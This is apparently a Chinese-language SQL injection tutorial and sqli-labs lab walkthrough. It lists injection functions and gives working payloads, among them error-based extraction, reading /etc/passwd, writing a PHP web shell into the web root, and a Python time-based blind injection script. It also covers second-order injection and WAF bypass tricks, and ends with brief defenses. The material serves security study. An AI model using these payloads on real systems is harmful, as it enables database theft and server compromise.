前言:
本章大部分内容来自大佬的博客,本着梳理的思想来写的这篇文章,如有侵权,联系必删!
参考以下大佬文章
SQL注入
sql注入分类
1.post注入,get注入,cookie注入,http头注入(可能user-agent存在注入)
2.数字型注入,字符型注入(类似一个int,一个chr)
3.盲注:布尔盲注,时间盲注,例如一个数据库名为security
,利用一些函数一个字符一个字符判断,这就是盲注。常见盲注函数
报错注入,联合注入(union),堆叠注入(;)用分号分隔执行多条命令
length()返回数据库长度
函数left()与函数right()
left(str,num):对字符串str从左开始数起,返回num个字符(与函数right()相反)
substr()和substring()函数实现的功能是一样的,均为截取字符串。函数mid()用法也类似
substr(database(),1,1),查看数据库名第一位,substr(database(),2,1)查看数据库名第二位,依次查看各位字符。
函数ascii()
返回字符串str的最左字符的数值,ASCII()返回数值是从0到255
函数ord()
与函数ascii()相同,返回字符串第一个字符的 ASCII 值。
时间盲注函数
函数sleep()
sleep(5) 过5s响应
函数if()
if(1=1,3,4) 返回3
if(1=2,3,4) 返回4
报错注入:利用报错函数,常见报错函数
floor()
函数floor(),向下取整,floor(3.8) = 3
函数rand(),取随机数,若有参数x,则每个x对应一个固定的值,rand(0) = (0,1)内的任意一个数
id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
extractvalue()
extractvalue(XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
在数据库中报错
select extractvalue(1,concat(0x7E,(select database()),0x7E));
select extractvalue(1,concat(0x7E,(select group_concat(username) from users),0x7E));
注:解释一下,第一个传入1,第二个传入需要查询的东西,里面用~分隔好查看数据。
updatexml()
updatexml(XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
select updatexml(1,concat(0x7E,(select database()),0x7E),1);
注:这里解释一下,updatexml第一个和第三个参数传入1,第二个传入需要报错查询的东西,本例就是查询数据库名字,concat函数为拼接函数,concat(‘1’,‘2’,‘3’)=123会拼接输出,为了看清楚数据库名字这里前后都加了一个’~'字符也就是0x7e,输出~security~
。
exp()
函数exp()是以e为底的指数函数,exp(1)=2.7182818=e
id =1 and EXP(~(SELECT * from(select user())a))
~0表示对0进行按位取反
将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。
通过子查询与按位取反,造成一个DOUBLE overflow error,并借由此注出数据。
1" union select 1,2,exp(~(select * from (select database())a))--+
1" union select 1,2,exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema=database())a))--+
联合注入函数,常见的这个
order by查询有几列
id=’ union select database() #
yiz’ union select 1,database(),3 # 这里#为注释,也可以用 --+来代表注释
1,2,3是有3列,然后2位置可以在页面看到回显。
mysql读取函数
函数load_file() ,作用:load_file这个函数是读取文件的
#读取文件/etc/passwd (还可以查看其他文件,需要相应的权限)
#路径可以为这两种格式"\\"与"/",
union select 1,2,load_file('/etc/passwd')
函数into outfile,作用:函数into outfile 与 into dumpfile都是写文件
#在/var/www/html新建文件a.php,在将一句话木马写入,前面是文件内容,后面是路径
union select 1,2,"<?php @eval($_POST[cmd]);?>" into dumpfile '/var/www/html/a.php'
这里我本机的mysql有安全机制写不了,win路径需要加\来防止转义路径.
函数addslashes()
作用:函数返回在预定义字符之前添加反斜杠的字符串
预定义字符是:
单引号(’)
双引号(")
反斜杠(\)
NULL
类似于gpc的功能,转义特殊字符,防止注入,也可以绕过
函数stripslashes()
作用:stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
去掉反斜杠。
下面我们来到实战,我用的是sqli-labs靶场。
第一关,先输入一个单引号报错,然后用order by判断列,发现是3列,最后用union select判断回显,查询数据库名,id=-1是让他报错,–+是注释相当于#。
到这里我们可以判断存在sql注入了,当然如果网站没有waf的情况下,我们可以直接用sqlmap去dump数据库,如果有waf就会限制一些查询的函数,这就得手工注入了,也可以手工注入写sqlmap的脚本进行dump数据库,这个我后面会写过waf的文章,这里不赘述了。
第二关
这里我们发现加单引号不行了,怎么办呢,我们可以利用and 1=2来进行报错,达到注入目的。
你会发现,如果id=-1也是可以报错的,初步判断为数字型注入,我们来看一下源码
可以看到确实是数字型。
好的,第三关
我们发现无论是加单引号还是双引号都不能闭合,直接看源码吧
这里加了一个括号,我们需要闭合括号,所以payload是
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,database(),3 --+
$sql="SELECT * FROM users WHERE id=('-1') union select 1,database(),3 --+') LIMIT 0,1";
第四关
这里传入的id前后都加了一个双引号,我们需要闭合他
可以看到本身的双引号被我们闭合了。
第5关
正常注入发现没有回显,判断为盲注,布尔或者时间盲注,如果嫌麻烦可以直接sqlmap干了,这里我们先看一下源码。
可以看到存在一个mysql_error()函数,我们可以利用。
发现有明显延迟,我们可以盲注,?id=1' and length(database())=8
,一般来说是>8,<8这样盲注的。
好了,我贴一个大佬写的脚本吧
import requests
import datetime
import time
#获取数据库长度
def database_len():
for i in range(1,10):
url="http://127.0.0.1/sqli-labs/Less-5/index.php"
payload="?id=1' and if (length(database())>%s,sleep(5),0) --+" %i
#判断数据库长度,如果成立就延迟1秒,这里我们可以稍微大一点,设置20
time1=datetime.datetime.now()
r=requests.get(url+payload)
time2=datetime.datetime.now()
sec=(time2-time1).seconds
#根据时间判断是否sleep1了,这里我是本地延迟设置5,也可以更高
if sec>=5:
print(i)
else:
print(i)
break
print('database_len:',i)
#获取数据库名
def database_name():
name=''
for j in range(1,9):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
url="http://127.0.0.1/sqli-labs/Less-5/index.php"
payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (j,i)
#print(url+payload)
time1=datetime.datetime.now()
r=requests.get(url+payload)
time2=datetime.datetime.now()
sec=(time2-time1).seconds
if sec>=3:
name+=i
print(name)
break
print('database_name:',name)
if __name__ == '__main__':
database_name()
#database_len()
这里其实还可以利用updatexml()来报错注入,进行爆数据库
好了,第6关
只是把单引号换成双引号。
第七关
题目提示我们需要写文件,但是我的mysql设置的安全性,需要先修改一下才能写文件
这里贴一个payload吧
实战可以改成php的一句话木马,但是需要root权限,也就是dba。
第八关
第九关
发现这两关和第五关一样,都可以时间盲注。
第10关也就是换成双引号。
第11关
看一下页面,应该是post注入了,前10都是get型,原理都一样。
我的hackbar好像坏了,用不了post了
第12关
中间几关就不写了
第18关
在user-agent这里我们可以注入,右边页面也是成功回显了
发现并没有我们想要的结果,那么我们尝试报错注入
1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))#
源码太长。
第19关
基于头部的Referer POST报错注入
第20关基于cookie的注入
21关就是把cookie进行了base64编码,但是还是可以注入的,
一共75关,我挑几个典型的写一下
24关-二次注入
原理就是当我们注册一个账号的时候,他会写入数据库,我们可以这样
先注册一个admin’#用户,然后登录admin’#,修改admin’#用户的密码就相当于修改了admin的密码。
注册一个admin '# 虽然他是转义了,但是仍然在数据库中仍然存好了,
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin '#' and password='$curr_pass' ";
后面的关卡都是一些双写绕过,大小写绕过,过滤注释和空格等等
我们发现,他将空格和 and 都过滤了,
and 我们可以进行双写,空格该怎么办?
我们熟知的有:
/**/ () + ` \t
可是都不行,
他的过滤很多
我们可以使用url编码绕过
%09 Tab键(水平)
%0a 新建一行
%0c 新的一页
%0d return 键
%0b Tab键(垂直)
%a0 空格
() 绕过
Less-29 基于WAF的一个错误
http参数污染,见sql注入总结的HTTP参数污染即可,
就例如传入2个id,先判断他会读取哪个id,是前一个还是后一个
上面已经说过,waf服务器(tomcat)只解析重复参数里面的前者,而真正的web服务器(Apache)只解析重复参数里面的后者,我们可以传入两个id参数,前者合法而后者为我们想注入的内容
32关
Bypass addslashes() ,addslashes()函数是类似gpc的转义函数
宽字节注入的本质是PHP与MySQL使用的字符集不同,只要低位的范围中含有0x5c的编码,就可以进行宽字节注入
对于类似进行转义的,我们可以进行宽字节注入,
大小写绕过
双写绕过
编码绕过(url全编码、十六进制)
内联注释绕过
关键字替换
逗号绕过
substr、mid()函数中可以利用from to来摆脱对逗号的利用;
limit中可以利用offset来摆脱对逗号的利用
堆叠注入
并非所有环境都支持堆叠注入,比如Oracle
查询时通常只返回一个结果,导致后面的SQL语句可能无法回显到页面上
内联注释
/*!...*/ 里面加了!就会执行
/*50001*/ 就是如果里面数字大于数据库版本就会成注释,小于就正常执行
我的数据库版本是5.7.26
逻辑符号的替换
and=&&
or=||
xor=|
not=!
空格绕过
用括号,+等绕过
等价函数绕过
hex()、bin()=ascii()
concat_ws()=group_concat()
mid()、substr()=substring()
缓冲区溢出绕过
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+
其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。一般会存在临界值,其实这种方法还对后缀名的绕过也有用,也叫垃圾字符填充,可以绕过waf和一些正则。
第42关
堆叠注入修改密码。
select 1,2,database() --+
group_concat(table_name) from information_schema.tables where table_schema='challenges' --+ #这里是数据库名字,获取表名
group_concat(column_name) from information_schema.columns where table_name='af9kydfo5w' --+ #这里是表名字,获取列名
secret_4V1K from challenges.af9kydfo5w --+ #这里是
select 列名 from 数据库名.表名
总结
1.对于sql注入,就是利用一些报错函数,还有一些闭合,注释的符号,一些判断函数,进行爆数据库和表,列名。
2.绕过sql注入的一些限制,本质来说就是替换。
防御sql注入的方式
1.不能相信任何客户端的传参,一定要进行过滤,转义,建议自己写个转义函数,然后再服务端解密就可以有效预防sql注入。
2.预编译
3.PDO
4.正则表达式过滤